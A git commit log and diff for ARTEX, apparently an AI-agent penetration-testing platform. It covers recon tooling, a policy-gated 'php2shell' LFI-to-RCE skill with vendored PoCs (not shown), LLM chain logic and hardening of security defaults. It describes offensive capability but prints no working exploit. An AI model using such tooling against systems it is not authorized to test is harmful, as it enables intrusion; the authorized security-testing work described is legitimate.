The update source is hard-coded to a repository that no longer exists and the release checksums are unsigned. Removes the selfupdate package and the /api/update/* endpoints, the top-bar check that queried GitHub on every page load, the Version & Updates card, and the exit-75 swap protocol in the start scripts.
2026-10-22 23:58:37 -04:00
BaaRai faf76d5f10 Merge pull request #123 from BaaRai/docs/ai-pr-review-technology
docs: AI PR review REA analysis and ARTEX integration plan
2026-10-22 14:51:28 +02:00
BaaRai 27d2241cda docs: cover the platform's continuous red-teaming offering 2026-10-22 14:49:52 +02:00
BaaRai 70f9ea3f01 docs: add AI PR review REA analysis and ARTEX integration plan 2026-10-22 14:42:56 +02:00
BaaRai 271deabeb0 Merge pull request #121 from BaaRai/chore/norma-v0.4.4
chore: bump norma to v0.4.4 (fork synced to upstream tag)
2026-10-22 13:07:26 +02:00
BaaRai e6b4f6c5f4 chore: bump norma to v0.4.4 (fork synced to upstream tag)
Syncs BaaRai/Norma to upstream Autumn-27/Norma v0.4.4 (fast-forward, our
earlier changes were already merged upstream) and repins the replace from
the pre-merge pseudo-version to the tag.

What v0.4.4 brings for us: per-task process-tree RSS watchdog (kills the
process group over a memory cap, matters now that workers spawn nuclei,
ffuf, sqlmap and bbot), UTF-8-aligned output truncation, non-interactive
default env for subprocesses (no more tools hanging on hidden stdin reads),
input usage recovery from message_delta for accurate token accounting, and
streaming / thought_signature fixes. Full test suite green against a
scratch postgres.
2026-10-22 13:04:12 +02:00
BaaRai c7bef98689 Merge pull request #118 from BaaRai/feat/bbot-orchestrator
feat: bbot recursive recon orchestrator (toolbox layer + policy-gated skill)
2026-10-22 12:07:53 +02:00
BaaRai 4c62b57bcc feat(skills): bbot recursive recon orchestrator with policy gates
Toolbox layer pins bbot v3.0.2 (AGPL-3.0, same license as ARTEX; standalone
CLI dependency, not linked code) in its own venv with module dependencies
preinstalled via --install-all-deps, so scans never need pip under a program
egress allowlist. Build-time gate dry-runs a dep-heavy module sample twice:
the first primes the dependency check, the second must be free of Installing
and ERRR lines or the build fails.

The bbot-recon skill gates usage on program policy: passive zero-touch mode
via seeds-only scans (-s, no -t) when scanners are banned, active-safe and
loud module sets when the program allows them, scope discipline with
blacklist and strict-scope, --no-deps mandatory on every run, JSONL ingestion
into facts and finding candidates with bbot findings treated as leads that
still need independent verification.

Closes #117
2026-10-22 12:03:24 +02:00
BaaRai b5bee2b8d2 Merge pull request #116 from BaaRai/fix/toolbox-tar-paths
fix(image): toolbox tar extraction paths + dalfox version flag
2026-10-21 15:55:20 +02:00
BaaRai b48c58d3b6 fix(image): toolbox tar extraction paths + dalfox version flag
The dalfox musl tarball does not carry the binary at archive root, so a
rooted tar extract failed the image build; extract to a temp dir and
install by name (same shape as the projectdiscovery zips). Also dalfox
has no version subcommand - it treated it as a scan target; use
--version. Locally verified: image builds clean, nuclei v3.11.1 and
dalfox 3.2.4 execute inside the built image.
2026-10-21 15:52:04 +02:00
BaaRai 4dcba3d07e Merge pull request #115 from BaaRai/fix/escalation-test-signature
fix(test): escalation test to the ctx-aware hooks.current signature
2026-10-21 15:20:16 +02:00
BaaRai a195dfee2a fix(test): escalation test to the ctx-aware hooks.current signature
Seam fix after merging #111 (escalation) with #114 (ctx-threaded
hooks.current): the escalation test predates the signature change and kept
compiling on its own branch, so the merge left main red.
2026-10-21 15:16:25 +02:00
BaaRai ff017216bf Merge pull request #114 from BaaRai/feat/per-intent-llm-rotation
feat(engine): per-intent LLM chain-head rotation (opt-in llm_rotate)
2026-10-21 15:13:56 +02:00
BaaRai 1ec2511c4b Merge pull request #113 from BaaRai/feat/php2shell-skill
feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs
2026-10-21 15:13:52 +02:00
BaaRai b757fc7e62 Merge pull request #112 from BaaRai/feat/recon-toolbox
feat(image): web-recon toolbox - nuclei, httpx, subfinder, katana, ffuf, dalfox, sqlmap
2026-10-21 15:13:47 +02:00
BaaRai 72b79af758 Merge pull request #111 from BaaRai/feat/ouroboros-takes
feat(engine): ouroboros takes - goal ambiguity gate, failover escalation, stagnation surfacing
2026-10-21 15:13:44 +02:00
BaaRai 579012e09d Merge pull request #110 from BaaRai/fix/paused-duration-freeze
fix(web): freeze session run duration while the task is paused
2026-10-21 15:13:40 +02:00
BaaRai 6894c391dd fix: test isolation for the escalation streak + compliant goal fixtures
- resetLLMFailStreaksForTest helper: the package-global streak is in-memory
  state, so the no-switch-on-ordinary-error subtests now reset it before each
  case (accumulation across subtests sharing task/profile keys made the third
  case escalate, breaking the contract the test guards)
- core lifecycle and credentials fixtures: goals now name the lab target, per
  the ambiguity gate (these tests exercise lifecycle/credentials, not the gate)
- canonical reset helper moved into task_llm.go next to the counter it resets
2026-10-21 15:08:37 +02:00
BaaRai 89348b5512 feat(engine): per-intent LLM chain-head rotation (opt-in llm_rotate)
Implements the per-intent rotation shape from #85: a task created with
llm_rotate=true distributes worker intents round-robin over its LLM chain
heads, so lane A can hunt on one model while lane B hunts on another
(different lenses per intent, no extra tokens). Default stays the classic
ordered failover from the active head; planner/goals/mainagent keep the
active head always.

Mechanics: the engine pins the next chain head into the run context when a
worker claims an intent; the pin travels through the provider resolver
(hooks.current now takes ctx). A pin is only a dispatch preference - it must
belong to the task chain and never bypasses failover state (an exhausted
chain stays exhausted). Schema: tasks.llm_rotate boolean, default false,
idempotent ALTER; exposed on the create payload and the task DTO.

Closes #85 (the ensemble/P4 shape stays parked as before)
2026-10-21 15:00:16 +02:00
BaaRai 750f4eb091 feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs
Implements #109. Skills ship the chain-1 workflow (session file injection
through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619)
with hard gates: authorized targets only, program zero-day policy checked
before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive
detection before exploitation, lab-first practice via the vendored docker
lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot
verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell
with attribution and the MIT notice (upstream declares MIT in its README).
2026-10-21 14:52:40 +02:00
BaaRai 2fd6ed08fc feat(image): web-recon toolbox - nuclei, httpx, subfinder, katana, ffuf, dalfox, sqlmap
Installs the drost-community take-1 subset (#100) directly into the runtime
image as pinned release binaries (plus a sqlmap checkout symlinked into
PATH), so recon-phase workers get modern tooling through their existing
Bash access with no new trust surface (no docker, no MCP wrapper). Versions
are ARGs for deliberate upgrades; each tool is executed once at build time
so a broken download fails the build instead of a hunt.

Closes #100 (takes 2 and 3 stay design notes: docker-exec integration
remains blocked per #90; catalog/execute MCP gating is future work).
2026-10-21 14:50:21 +02:00
BaaRai b237fbaa32 feat(engine): ouroboros takes - goal ambiguity gate, failover escalation, stagnation surfacing
Three orchestration mechanisms from the Q00/ouroboros evaluation (#99):

- Goal ambiguity gate at task creation: a goal must name a target (URL,
  domain, IPv4, localhost:port or absolute path) and reach a length floor,
  else the API returns 400 before any token is spent. Deliberately
  target-less goals opt out with the literal marker [targetless]. Guards
  against the live failure where a goal naming no target sent every worker
  to an unrelated asset.

- Consecutive-failure escalation on the task LLM chain: quota exhaustion
  already advances the chain; now 3 consecutive non-quota call failures on
  the same chain profile advance it too, with the true reason recorded.
  Escalation-only by design (no auto-downgrade: mid-task model swaps risk
  behavior drift; the operator keeps the manual chain reset).

- Stagnation surfacing in the planner overview: finished intents are
  fingerprinted (case-folded, digits collapsed); a direction dispatched 3+
  times with zero findings since its first attempt is flagged in a
  self-describing stagnation_warning payload that instructs the planner to
  diversify instead of grinding. Absent when nothing stagnates.

Closes #99
2026-10-21 14:46:56 +02:00
BaaRai d24e734f19 fix(web): freeze session run duration while the task is paused
Sessions keep state=running in the store during a task-level pause, so the
sessions tab treated them as live and the run duration kept ticking with
Date.now(), visibly advancing time while the task (and its deadline budget)
was frozen. Pass taskPaused down from the detail page and pin the duration
at the last recorded step while paused.

Closes #84
2026-10-21 14:34:31 +02:00
BaaRai 43a072861d Merge pull request #104 from BaaRai/rsi/shadow-lessons
feat(rsi): evidence-gated lesson library in shadow mode
2026-10-21 14:27:40 +02:00
133 changed files with 6862 additions and 2925 deletions
+5
View File
@@ -5,6 +5,11 @@ web/out
server/webui/dist
/artex
data
keys
backups
.env
config.json
jwt.key
*.db
transcripts
bench/kv
+12 -1
View File
@@ -1,5 +1,11 @@
# Docker deployment configuration (copy to .env)
ARTEX_TAG=latest
# The image is built locally by `docker compose build`; there is no registry tag.
# Address the web UI is published on. 127.0.0.1 keeps it host-local; set 0.0.0.0
# to reach it from another machine or from Windows when ARTEX runs inside WSL.
ARTEX_BIND_ADDR=127.0.0.1
# Reverse proxies (comma-separated CIDRs) whose X-Forwarded-For the login rate
# limit trusts. Empty: the header is ignored. See "Reverse proxy deployment" in README.md.
ARTEX_TRUSTED_PROXIES=
POSTGRES_USER=artex
POSTGRES_PASSWORD=change-me-please
POSTGRES_DB=artex
@@ -11,3 +17,8 @@ ARTEX_LLM_PROVIDER=
ARTEX_LLM_MODEL=
ARTEX_LLM_BASE_URL=
ARTEX_LLM_PROXY=
# Untrusted-output boundary (optional). ARTEX_UNTRUSTED_BOUNDARY=1 frames every tool
# output between nonce-tagged markers so the model treats it as data, not instructions.
# Off by default; test it against a local target before enabling it in production.
# ARTEX_UNTRUSTED_BOUNDARY=1
+21 -1
View File
@@ -32,7 +32,7 @@ jobs:
- run: go build ./...
- run: go vet ./...
# Skipped tests, tracked in issue #9:
# - TestInterceptFilterHTTP, TestGraphOverviewExpandsAssociatedCompanyScope,
# - TestGraphOverviewExpandsAssociatedCompanyScope,
# TestCaptureApprovalLifecycle: fail on unmodified upstream code with a
# fresh database.
# - TestSideUsageRecordedOnceOnConsumerCancellation: concurrency/cancellation
@@ -44,6 +44,26 @@ jobs:
# as rotating failures in the agent package). Serial package execution
# keeps the database state deterministic.
run: go test -p 1 ./...
- name: go test -race
# Race detector on the packages that pass under -race today. ./server is
# left out until it has been checked with -race against postgres.
# Its own database: the plain run above leaves rows behind and the db tests
# are not idempotent across runs (duplicate llm_profiles names).
env:
ARTEX_PG_DSN: postgres://artex:testpass@localhost:5432/artextest_race?sslmode=disable
run: >-
go test -race -p 1 ./agent ./cmd/artex ./config ./db ./evidence ./guard
./intercept ./llmpool ./llmrec ./mcphttp ./notify ./sidequestion ./traffic
shell:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# shellcheck is preinstalled on the ubuntu runners. -S warning: the scripts
# currently have only info-level notes (intentional A && B || C chains in
# update.sh, an unquoted glob in backup.sh's prune), so fail on warnings.
- run: shellcheck -S warning install.sh update.sh start.sh scripts/backup.sh reset-password.sh
web:
runs-on: ubuntu-latest
+7 -2
View File
@@ -95,13 +95,18 @@ jobs:
files: |
dist/*.zip
dist/SHA256SUMS
generate_release_notes: true
generate_release_notes: false
body: "See CHANGELOG.md for the list of changes in this release."
# ④ Multi-arch image → push to Docker Hub (reuses the Linux binaries built by the
# binaries job; the image only installs tools + ships the binary; arm64 only needs
# to emulate the apt layer, so builds are much faster)
# Publishing the image needs Docker Hub credentials and a namespace we own, so the
# job stays skipped unless the repository defines DOCKERHUB_ENABLED (set it to true
# and provide DOCKERHUB_USERNAME / DOCKERHUB_TOKEN secrets plus DOCKERHUB_IMAGE).
docker:
needs: binaries
if: ${{ vars.DOCKERHUB_ENABLED == 'true' }}
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # fetch the Dockerfile and skills/
@@ -122,7 +127,7 @@ jobs:
- uses: docker/metadata-action@v5
id: meta
with:
images: autumn27/artex
images: ${{ vars.DOCKERHUB_IMAGE }}
tags: |
type=ref,event=tag
type=raw,value=latest
+5 -1
View File
@@ -47,6 +47,7 @@ Thumbs.db
# JWT signing key (generated at runtime, stored in the project root, never committed)
/jwt.key
/keys/
# local environment generated by Docker deployment (contains passwords/keys, not committed)
.env
@@ -57,7 +58,10 @@ Thumbs.db
# bench benchmark related (local artifacts, not committed)
/bench/
/Dockerfile.bench
/Dockerfile.bench.v2backups/
/Dockerfile.bench.v2
# scripts/backup.sh output (database dumps, data archives)
backups/
# posture probe raw output
posture-runs/
+118 -1
View File
@@ -4,6 +4,120 @@ All notable changes to this project are documented in this file. The format is b
## [Unreleased]
### Added
- **Optional custom User-Agent for LLM requests**: an LLM profile can set a `User-Agent` value that overrides the header on every outbound LLM request; left empty, the default User-Agent is unchanged. The value is trimmed and rejected if it contains control characters or exceeds 256 bytes. Part of #154 (the fixed-full-URL mode is not included).
### Docs
- **LLM base URL note in the README**: for the Anthropic format, enter the host without a `/v1` suffix (the provider appends `/v1/messages`, so a `/v1` base becomes `/v1/v1/messages`); OpenAI-format providers append `/chat/completions` (or `/responses` for the `openai-responses` format), so their base does end in `/v1`. Follow-up to #154.
## [0.5.1] - 2026-11-05
Login rate limiting per client IP with trusted-proxy support, a 12-character minimum for new passwords, a loopback-only default for the binary, and the JWT signing key in its own Docker volume.
### Changed
- **The binary listens on `127.0.0.1:8787` by default**: the `-addr` default was `:8787`, every interface. Running `artex` or `./start.sh` without `-addr` now accepts connections from the local machine only; pass `-addr :8787` to listen on every interface. Docker is unchanged: the image starts the server with `-addr :8787` inside the container, and `docker-compose.yml` already publishes it on `127.0.0.1` by default (`ARTEX_BIND_ADDR`).
- **New passwords need at least 12 characters** (was 8), at first-run setup (`POST /api/auth/init` and the `/setup` page) and in `POST /api/auth/change-password`. Login does not check length, so a password set under the old minimum keeps working until it is changed. `reset-password.sh` enforces the same minimum.
### Fixed
- **The JWT signing key survives container rebuilds**: the server wrote `jwt.key` to the executable's directory, `/app` in the image, so the key lived in the container's writable layer and recreating the container (for example `docker compose up -d --build`) generated a new key and signed every user out. The key directory is now set by `ARTEX_JWT_KEY_DIR` (default: the executable's directory, unchanged for non-Docker installs). `docker-compose.yml` sets it to `/app/keys` and bind-mounts `./keys` there, outside `./data`, which the file manager browses. On start, when `<key dir>/jwt.key` is missing, a key at `data/jwt.key`, then at the executable's directory, is copied there with mode 0600 and the old file is removed; otherwise a new key is generated. An existing key is never overwritten. Upgrading a Docker install signs every user out once, because the old key is in the container being replaced; to keep sessions, copy it out before recreating the container:
```bash
mkdir -p keys
docker cp artex-artex-1:/app/jwt.key ./keys/jwt.key
```
### Security
- **Login rate limit**: `POST /api/auth/login` allows 10 attempts per minute per client IP. The next attempt gets 429 with a `Retry-After` header (seconds) and a JSON error, and the IP is blocked for 1 minute. Each attempt while blocked, and each later block, doubles the wait, up to 15 minutes. A successful login clears the IP's count. There is no per-account lockout, so failing logins cannot lock the admin out from other addresses. The state is in memory: a restart clears it, an IP idle for 15 minutes is dropped, and at most 10,000 IPs are tracked (the least recently seen is dropped first). The IP is the TCP peer address, and `X-Forwarded-For` is ignored, unless the peer is listed in the new `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by default, passed through by `docker-compose.yml`). For a listed peer the header is read from the right and the first address that is not a trusted proxy is the client; entries the client added further left are never used. Behind a reverse proxy, set it: otherwise every client has the proxy's address and shares one budget, and an attacker failing logins through the proxy blocks the real users, admin included, for up to 15 minutes. The README nginx example now sends `X-Forwarded-For`.
- **`GET /api/health` hides the version from anonymous callers**: without a valid token it answers `{"ok":true}` only. With a token (the web UI sends one for the version in its top bar) the answer is unchanged: `ok`, `service` and `version`.
## [0.5.0] - 2026-11-04
Ollama support, a setup token for the first-run claim, secret scrubbing for child processes, a Docker image that builds from a fresh clone, Go 1.26.10 and Node 22, and race and shellcheck runs in CI. Entries marked "direct commit" landed on `main` without a pull request.
### Added
- **Ollama support**: an `ollama` LLM profile format for a local or LAN Ollama server. Keyless by design: no API key is needed, `OPENAI_API_KEY` is never inherited, the base URL defaults to `http://127.0.0.1:11434/v1` and is normalized to the `/v1` root, and the profile works in the failover pool, task LLM chains, model listing and connection tests. Contributed by @glauberportella (#128).
- **Setup token for first-run setup**: while no admin password is set, the server generates a random 128-bit one-time token at startup and prints it to its log (`docker compose logs artex | grep "Setup token"`). The `/setup` page has a field for it, `POST /api/auth/init` requires it (`setup_token`, compared in constant time, 403 when missing or wrong), and it is cleared once the password is stored (#137).
- **`ARTEX_BIND_ADDR`**: the address `docker-compose.yml` publishes the web UI on, default `127.0.0.1` (#137).
### Security
- **First-run claim**: before, anyone who reached port 8787 on a fresh install before the operator could set the admin password. Init now needs the setup token above, and Docker installs publish 8787 on `127.0.0.1` by default; set `ARTEX_BIND_ADDR=0.0.0.0` in `.env`, or use a reverse proxy or SSH tunnel, for remote access (#137).
- **Startup secrets removed from the environment**: `ARTEX_PG_DSN`, `ANTHROPIC_API_KEY` and `OPENAI_API_KEY` are unset inside `server.New` after they are read and before the MCP discovery goroutine and the task resume loop start, so agent shells, MCP stdio servers and custom tools spawned afterwards no longer inherit them (#136). The binary passes the option that enables this, but `New` did not apply its options, so the scrub from #136 never ran until #146 fixed it (#146). See Known issues for what this does not cover.
- **Saved API keys go only to their own endpoint**: `POST /api/llm/test` and `POST /api/llm/models` used a saved key (the profile's, or the global one) for any `base_url` in the request body, so a crafted request could send it to another host. A saved key is now sent only when the request's provider and normalized base URL match the ones it was saved for; otherwise the request must carry `api_key` (#142).
- **`ARTEX_LLM_PROVIDER` is matched case-insensitively**: `Ollama` or a value with surrounding spaces fell through to the Anthropic default and sent `ANTHROPIC_API_KEY` to the configured base URL (#140).
### Fixed
- **Ollama base URL on the environment path**: `ARTEX_LLM_BASE_URL=http://host:11434` is normalized to the `/v1` root the same way the saved-profile path already was, so a LAN Ollama server configured through the environment no longer answers 404 on chat (direct commit 1c35c9c).
- **Malformed `config.json` is an error**: `config.Load` used to ignore a parse error and treat the file as missing, which surfaced as a misleading "no database config found" or a silently ignored `skill_dir`. A read or parse error is now returned with the file path and startup exits (#141).
- **`install.sh` escapes what it writes**: the local install writes `config.json` string values through a JSON escaper and requires a numeric port; the Docker install escapes `\`, `|` and `&` in the Postgres password and API key before the `.env` substitution (#141).
- **`scripts/backup.sh --keep 0` is rejected**: it used to delete every dump, including the one just written, and still report success. Values with a leading zero are rejected too (#139).
- **`backups/` is ignored again**: a missing newline had merged it into the previous `.gitignore` line, so database dumps showed up as untracked files (#138).
### Build and CI
- **The image is built from the checkout instead of pulled**: `docker-compose.yml` no longer references the `autumn27/artex` namespace, whose repository is gone and whose name its holder could republish at any time. `install.sh` and `update.sh` build the image locally (direct commit 1ed154e).
- **A fresh clone builds the image**: the Dockerfile copied a prebuilt `dist/<arch>/artex` that a clean checkout does not have. It is now a multi-stage build: a Node 22 stage runs the frontend static export, a Go 1.26 stage runs `build.sh` with the release binaries job's flags (CGO-free cross-compile, `-trimpath`, version stamp), and the runtime stage copies the result (#147).
- **`update.sh` refuses to rebuild stale code**: when `git pull --ff-only` fails on a diverged clone (including every clone made before the 2026-10-23 history rewrite), it now stops with recovery commands instead of warning, rebuilding the old tree and printing "Build complete" (direct commit 1ed154e).
- **CI runs the race detector and shellcheck**: `go test -race -p 1` over every package with tests except `./server`, and `shellcheck -S warning` on `install.sh`, `update.sh`, `start.sh` and `scripts/backup.sh` (#144). The race run uses its own database (direct commit 0477751).
### Upgrades
- **Go 1.26.10** in `go.mod` (was 1.26.3), and **`golang.org/x/net` v0.62.0** (was v0.58.0), which raised x/crypto to 0.58.0, x/text to 0.43.0, x/sys to 0.49.0, x/sync to 0.24.0, x/mod to 0.41.0 and x/tools to 0.51.0 (#145).
- **Node 22 in the runtime image**: NodeSource `setup_22.x` instead of the end-of-life `setup_20.x`, matching CI and the release workflow (#143).
### Known issues
- **The secret scrub has limits**: `os.Unsetenv` changes only the Go runtime's copy, so a process running as the same user can still read `/proc/<pid>/environ` of the server (and, in Docker, of PID 1, `start.sh`). Other variables that may carry credentials, such as `ARTEX_LLM_PROXY`, are not scrubbed.
- **The LLM test and model-list endpoints still take `proxy` from the request**, so a saved key can travel through a request-supplied proxy when the base URL is plain HTTP.
- **Postgres passwords with URL-special characters** (`@`, `/`, `#`, `?`) break the `ARTEX_PG_DSN` that `docker-compose.yml` builds by interpolation, and Compose interpolates `$` in `.env`.
- **The build context includes local secrets**: `.dockerignore` does not exclude `.env`, `config.json` or `jwt.key`, so the build stage's `COPY . .` puts them in a build-stage layer of the local builder cache. They are not copied into the final image.
- **Image supply chain**: the recon tools are downloaded at pinned versions but not checksum-verified, sqlmap tracks its default branch, and the Playwright packages are installed at `@latest`. Draft #127 proposes checksum verification.
- **No Docker image is published for this release**: the release workflow's `docker` job only runs when `DOCKERHUB_ENABLED` is set, and it still downloads prebuilt binaries into `dist/` that the Dockerfile no longer uses. Build the image from the checkout with `docker compose up -d --build`.
- **CI gaps**: `./server` is not run under `-race`; there is no `govulncheck` step and no `docker build` job. Four tests skip themselves (fresh-database or timing failures, see #9).
- **Reported and not fixed in this release**: `list_task_credentials` emits an invalid `"required": [""]` schema that strict LLM providers reject (#130), and the MCP Streamable HTTP client fails against servers that only support protocol version 2025-11-25 (#131; fix proposed in #132).
## [0.4.0] - 2026-10-23
First release of this fork. The engine underneath is still upstream's, but this tree carries a long stretch of operational work on top of it: a recon toolbox and skills, findings discipline, cost accounting, and container packaging.
### Added
- **Recon toolbox in the image**: nuclei, httpx, subfinder, katana, ffuf and dalfox installed at release-pinned versions, plus a sqlmap checkout that tracks the default branch, each smoke-tested at build time (run once, not checksum-verified), so hunt workers can call them directly (#112). Checksum verification arrives with #127.
- **Recursive recon skill** (`bbot-recon`): bbot v3.0.2 in its own virtualenv with module dependencies preinstalled. Policy-gated modes (passive seeds-only when scanners are banned, active-safe, loud only on explicit permission) and JSONL ingestion into the facts graph (#118).
- **php2shell skill**: turns a file-inclusion finding into verified RCE through the session.upload_progress chain, lab first and gated on program policy (#113).
- **Code audit and reverse-engineering skills** (#55, #77).
- **Goal ambiguity gate**: task creation rejects goals that name no target and goals under 80 characters; `[targetless]` opts out for tasks that legitimately have none (#111).
- **LLM chain hardening**: consecutive-failure escalation across the ordered profile chain, plus per-intent profile rotation with a strict round-robin (`llm_rotate`) (#111, #114).
- **Stagnation warning**: the graph overview tells a worker when it has repeated the same direction without producing findings (#111).
- **Per-task credentials vault**: accounts stored per task, agent-generated passwords allowed, injected into the worker context and managed from the task page.
- **Cost ledger**: token spend metered per call, with usage surfaced in the UI and judge/fallback calls counted separately (#71, #74).
- **Backup script and MCP health reporting** (#43, #44).
- **Ask-operator tool with environment handoff** (#45, #57).
- **DrostBench corpus and benchmark harness** (#59, #95, #96, #97, #98).
- **One database per test package**, removing cross-package test races (#82).
### Changed
- **Norma upgraded to v0.4.4**: per-task process-tree memory watchdog, UTF-8 aligned output truncation, non-interactive subprocess environments, message_delta usage recovery, and streaming fixes (#121).
- **Planner quiet mode** for less narration during long runs (#81, #88).
- **Findings discipline**: proof-basis gates, measured impact, adversarial verification and dedup rules decide what a finding must contain before it is reported (#51, #53, #63, #69).
- **Prompt-injection hardening** on seed material and MCP tool descriptions (#49).
- **Pause preserves the task timeout budget**, and paused time is frozen in the task clock (#2, #110).
- **Deadline contract** in the executor seeds (#65).
- **Task detail metrics and outcome cards** summarise a finished run (#92, #102).
- **Skill-gap and loop-contract reporting** for the planner (#104, #106); the RSI notes land as documentation in #108.
### Removed
- **In-app self-update and the automatic version check**: the update source was hard-coded to a repository that no longer exists, and its checksums came from the same release. The `selfupdate` package, the `/api/update/*` endpoints, the top-bar update badge and the "Version & Updates" settings card are gone; `start.sh` / `start.bat` now only restart the process after a crash. Upgrade with `update.sh` or a release archive. (#125, contributed by @stevenAthompson)
## [0.3.15] - 2026-10-07
### Interception
@@ -886,7 +1000,10 @@ All notable changes to this project are documented in this file. The format is b
- [@Autumn-27](https://github.com/Autumn-27)
- [@neouks](https://github.com/neouks)
[Unreleased]: https://github.com/Autumn-27/ARTEX/compare/v0.3.10...HEAD
[Unreleased]: https://github.com/BaaRai/ARTEX/compare/v0.5.1...HEAD
[0.5.1]: https://github.com/BaaRai/ARTEX/compare/v0.5.0...v0.5.1
[0.5.0]: https://github.com/BaaRai/ARTEX/compare/v0.4.0...v0.5.0
[0.4.0]: https://github.com/BaaRai/ARTEX/compare/v0.3.15...v0.4.0
[0.3.10]: https://github.com/Autumn-27/ARTEX/compare/v0.3.9...v0.3.10
[0.3.9]: https://github.com/Autumn-27/ARTEX/compare/v0.3.8...v0.3.9
[0.3.8]: https://github.com/Autumn-27/ARTEX/compare/v0.3.7...v0.3.8
+103 -19
View File
@@ -1,26 +1,111 @@
# syntax=docker/dockerfile:1
#
# Runtime image (no compilation inside the image): install common tools only and ship
# a **pre-built Linux single binary**. The binary is cross-compiled by the CI binaries
# job (pure Go, no QEMU) and placed at dist/<TARGETARCH>/artex in the build context.
# This way multi-arch builds only need to emulate the apt layer for arm64 instead of
# emulating the Next/Go compilation, which is much faster.
# Multi-stage build: `docker compose up -d --build` (or `docker build .`) produces
# the complete image from source. No prebuilt binary in the build context is needed,
# so a fresh `git clone` builds — dist/ is git-ignored and is no longer required.
#
# To build the image manually, prepare the binary yourself first:
# cd web && npm run build:static && cd ..
# cp -r web/out server/webui/dist
# CGO_ENABLED=0 GOARCH=amd64 go build -tags embedui -o dist/amd64/artex ./cmd/artex
# docker build -t artex:local .
# frontend (web) -> Go binary with embedded UI (build) -> runtime image
#
# The Go binary is produced by build.sh with the same flags the release workflow's
# binaries job uses, so the image binary and the published release binary come from
# one source.
# ---------------------------------------------------------------- frontend ---
# Pinned to the Node 22 line the CI/release workflows use. On the build platform
# only; the frontend static export is architecture-independent.
FROM --platform=$BUILDPLATFORM node:22-bookworm-slim AS web
WORKDIR /src/web
COPY web/package.json web/package-lock.json ./
RUN npm ci --ignore-scripts
COPY web/ ./
RUN npm run build:static
# ------------------------------------------------------------- Go binary ---
# Pinned to the Go 1.26 line (matches go.mod and the release binaries job). The
# binary is CGO-free, so this stage runs on the build platform and cross-compiles
# to $TARGETARCH without QEMU.
FROM --platform=$BUILDPLATFORM golang:1.26-bookworm AS build
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
# Reuse the frontend built above; build.sh skips its own frontend step.
COPY --from=web /src/web/out ./server/webui/dist
ARG ARTEX_VERSION=dev
ARG TARGETOS
ARG TARGETARCH
# Same flags as the release binaries job (ARTEX_COMPRESS=0, -trimpath,
# -X main.version), driven through build.sh so there is one build path.
RUN ARTEX_SKIP_FRONTEND=1 \
ARTEX_SKIP_NPM_CI=1 \
ARTEX_COMPRESS=0 \
ARTEX_OUTPUT=/out/artex \
ARTEX_BUILD_VERSION="${ARTEX_VERSION}" \
bash ./build.sh --target "${TARGETOS:-linux}/${TARGETARCH:-amd64}"
# ---------------------------------------------------------------- runtime ---
FROM python:3.12-slim-bookworm
ARG TARGETARCH
# Common tools: ripgrep / curl / vim, plus a set of recon staples (add/remove as needed).
# Node 20.x comes from NodeSource: bookworm's apt nodejs is 18, but Playwright requires >=20.
# Node 22.x comes from NodeSource: bookworm's apt nodejs is 18, Playwright requires >=20,
# and 20 is end-of-life. 22 matches the CI and release workflows.
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates ripgrep curl wget vim git jq unzip \
dnsutils iputils-ping netcat-openbsd inetutils-telnet whois nmap \
&& curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
&& curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
&& apt-get install -y --no-install-recommends nodejs \
&& rm -rf /var/lib/apt/lists/*
# Web-recon toolbox (drost-community take 1, #100): pinned release binaries installed
# into /usr/local/bin so hunt workers can run them directly through their Bash tool.
# Versions pinned per tool; upgrade deliberately. sqlmap is a python checkout (no
# release binaries) symlinked into PATH.
ARG NUCLEI_VERSION=v3.11.1
ARG HTTPX_VERSION=v1.12.0
ARG SUBFINDER_VERSION=v2.17.0
ARG KATANA_VERSION=v1.8.0
ARG FFUF_VERSION=v2.3.0
ARG DALFOX_VERSION=v3.2.4
RUN set -eux; \
base="https://github.com"; \
pd_fetch() { repo="$1"; ver="$2"; name="$3"; nov="${ver#v}"; \
curl -fsSL "$base/$repo/releases/download/$ver/${name}_${nov}_linux_${TARGETARCH}.zip" -o /tmp/t.zip \
&& unzip -o -q /tmp/t.zip -d /tmp/td \
&& find /tmp/td -type f -name "$name" -exec install -m 0755 {} /usr/local/bin/ \; \
&& rm -rf /tmp/t.zip /tmp/td; }; \
case "$TARGETARCH" in amd64) FFUF_ARCH=amd64; DALFOX_ARCH=x86_64;; arm64) FFUF_ARCH=arm64; DALFOX_ARCH=aarch64;; esac; \
pd_fetch projectdiscovery/nuclei "$NUCLEI_VERSION" nuclei; \
pd_fetch projectdiscovery/httpx "$HTTPX_VERSION" httpx; \
pd_fetch projectdiscovery/subfinder "$SUBFINDER_VERSION" subfinder; \
pd_fetch projectdiscovery/katana "$KATANA_VERSION" katana; \
tar_fetch() { url="$1"; name="$2"; \
curl -fsSL "$url" -o /tmp/t.tgz \
&& mkdir -p /tmp/td && tar -xzf /tmp/t.tgz -C /tmp/td \
&& find /tmp/td -type f -name "$name" -exec install -m 0755 {} /usr/local/bin/ \; \
&& rm -rf /tmp/t.tgz /tmp/td; }; \
tar_fetch "$base/ffuf/ffuf/releases/download/$FFUF_VERSION/ffuf_${FFUF_VERSION#v}_linux_${FFUF_ARCH}.tar.gz" ffuf; \
tar_fetch "$base/hahwul/dalfox/releases/download/$DALFOX_VERSION/dalfox-${DALFOX_VERSION}-linux-${DALFOX_ARCH}-musl.tar.gz" dalfox; \
git clone --depth 1 https://github.com/sqlmapproject/sqlmap /opt/sqlmap; \
ln -s /opt/sqlmap/sqlmap.py /usr/local/bin/sqlmap; \
nuclei -version >/dev/null; httpx -version; subfinder -version; katana -version; \
ffuf -V >/dev/null; dalfox --version >/dev/null 2>&1 || true; sqlmap --version >/dev/null
# bbot recursive recon orchestrator (#117): blacklanternsecurity/bbot, AGPL-3.0
# (same license as ARTEX; standalone CLI dependency, not linked code). Pinned
